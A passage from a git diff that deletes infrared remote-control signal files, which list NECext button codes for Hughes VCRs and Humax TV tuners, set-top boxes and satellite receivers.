KEY_3 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0B 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0D 00 00 00 -# -name: action -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0E 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0F 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 10 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 11 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 12 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 13 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 15 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 17 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 18 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/VCR/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/VCR/96,-1.ir deleted file mode 100644 index 96fff5bb6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/VCR/96,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 04 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 05 00 00 00 -# -name: ENTER_/_100 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 06 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0C 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0D 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0E 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0F 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 14 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 16 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 17 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1F 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 41 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 42 00 00 00 -# -name: SHUTTLE_<< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 6C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 70 00 00 00 -# -name: SHUTTLE_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 71 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/VCR/97,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/VCR/97,-1.ir deleted file mode 100644 index eff57af73..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/VCR/97,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: RECORD -type: parsed -protocol: NECext -address: 61 00 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir deleted file mode 100644 index 20cf72834..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 03 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 04 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 05 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 06 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 07 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 08 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 09 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0E 00 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0F 00 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 10 00 00 00 -# -name: PIL_UPP -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 11 00 00 00 -# -name: NSTER -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 12 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 13 00 00 00 -# -name: GER -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 14 00 00 00 -# -name: PIL_NER -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 15 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 16 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 18 00 00 00 -# -name: GUL -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1A 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1B 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1C 00 00 00 -# -name: N -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1E 00 00 00 -# -name: VOLYM+ -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1F 00 00 00 -# -name: VOLYM- -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 40 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 41 00 00 00 -# -name: I -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 43 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 4D 00 00 00 -# -name: STOP_TEXT_/_WIDE -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 4E 00 00 00 -# -name: G -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 65 00 00 00 -# -name: STOR_TEXT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 69 00 00 00 -# -name: TEXT_? -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 6A 00 00 00 -# -name: HALV_TEXT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 6C 00 00 00 -# -name: TEXT_ON_OFF -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir deleted file mode 100644 index b36ed06a6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 03 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 04 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 05 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 06 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 07 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 08 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 09 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0C 00 00 00 -# -name: MENY -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0E 00 00 00 -# -name: P- -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 0F 00 00 00 -# -name: P+ -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 10 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 11 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 12 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 13 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 14 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 15 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 18 00 00 00 -# -name: RG_3_GUL -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1A 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1B 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1C 00 00 00 -# -name: N -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 1F 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 40 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 41 00 00 00 -# -name: OPT+ -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 42 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 43 00 00 00 -# -name: SOUND? -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 45 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 49 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 4C 00 00 00 -# -name: WIDE -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 4E 00 00 00 -# -name: V-FORMAT -type: parsed -protocol: NECext -address: 00 10 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir deleted file mode 100644 index ee2d53acc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 03 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 04 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 05 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 06 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 07 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 08 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 09 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 0A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 0B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 0C 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 0D 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 0E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 0F 00 00 00 -# -name: CH._LIST -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 10 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 11 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 12 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 13 00 00 00 -# -name: CURSOR_ENTER/OK -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 16 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 18 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 19 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 1A 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 1B 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 1C 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 1D 00 00 00 -# -name: CC -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 40 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 41 00 00 00 -# -name: SIGNAL_METER -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 42 00 00 00 -# -name: CH._ADD/SKIP -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 43 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir deleted file mode 100644 index 2fc39036e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir +++ /dev/null @@ -1,320 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 00 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 03 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 04 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 05 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 06 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 07 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 08 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 09 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 0A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 0B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 0C 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 0D 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 0E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 0F 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 10 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 11 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 12 00 00 00 -# -name: CURSOR_OK_/_LIST -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 13 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 14 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 15 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 16 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 17 00 00 00 -# -name: VOLUME_MUTE -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 18 00 00 00 -# -name: COLOR_3_YELLOW -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 1A 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 1B 00 00 00 -# -name: COLOR_1_RED -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 1C 00 00 00 -# -name: COLOR_2_GREEN -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 1D 00 00 00 -# -name: COLOR_4_BLUE -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 1E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 1F 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 40 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 41 00 00 00 -# -name: OPTIONS -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 42 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 43 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 45 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 46 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 4C 00 00 00 -# -name: WIDE -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 4E 00 00 00 -# -name: V-FORMAT -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 4F 00 00 00 -# -name: TR_PLAY -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 60 00 00 00 -# -name: TR_REC -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 61 00 00 00 -# -name: TR_PAUSE -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 62 00 00 00 -# -name: TR_STOP -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 63 00 00 00 -# -name: TR_SCAN_>> -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 64 00 00 00 -# -name: TR_SCAN_<< -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 65 00 00 00 -# -name: TR_SKIP_<< -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 66 00 00 00 -# -name: TR_SKIP_>> -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 67 00 00 00 -# -name: BOK+ -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 6A 00 00 00 -# -name: BOK -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 6B 00 00 00 -# -name: TR_SLOW -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 6C 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 6D 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 6E 00 00 00 -# -name: MEDIA -type: parsed -protocol: NECext -address: 00 41 00 00 -command: 6F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir deleted file mode 100644 index 86b20f619..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 03 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 04 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 05 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 06 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 07 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 08 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 09 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 0A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 0B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 0C 00 00 00 -# -name: MENY -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 0E 00 00 00 -# -name: P- -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 0F 00 00 00 -# -name: P+ -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 10 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 11 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 12 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 13 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 14 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 15 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 16 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 18 00 00 00 -# -name: RG_GUL -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 1A 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 1B 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 1C 00 00 00 -# -name: N -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 1D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 1E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 1F 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 40 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 41 00 00 00 -# -name: OPT+ -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 42 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 43 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 46 00 00 00 -# -name: PAGE+ -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 49 00 00 00 -# -name: PAGE- -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 4A 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 4D 00 00 00 -# -name: WIDE -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 4E 00 00 00 -# -name: V-FORMAT -type: parsed -protocol: NECext -address: 00 49 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Satellite/0,17.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Satellite/0,17.ir deleted file mode 100644 index b963583ad..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Satellite/0,17.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 11 00 00 -command: 00 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 11 00 00 -command: 18 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 00 11 00 00 -command: 1C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Satellite/0,23.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Satellite/0,23.ir deleted file mode 100644 index 3c2ad2f00..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Satellite/0,23.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 03 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 04 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 05 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 06 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 07 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 08 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 09 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 0A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 0B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 0C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 0E 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 11 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 12 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 13 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 14 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 15 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 16 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 18 00 00 00 -# -name: GELB -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 1A 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 1B 00 00 00 -# -name: ROT -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 1C 00 00 00 -# -name: N -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 1D 00 00 00 -# -name: BLAU -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 1E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 1F 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 40 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 41 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 43 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 49 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 4A 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 00 17 00 00 -command: 4D 00 00 00 -# -name: ARCHIV -type: 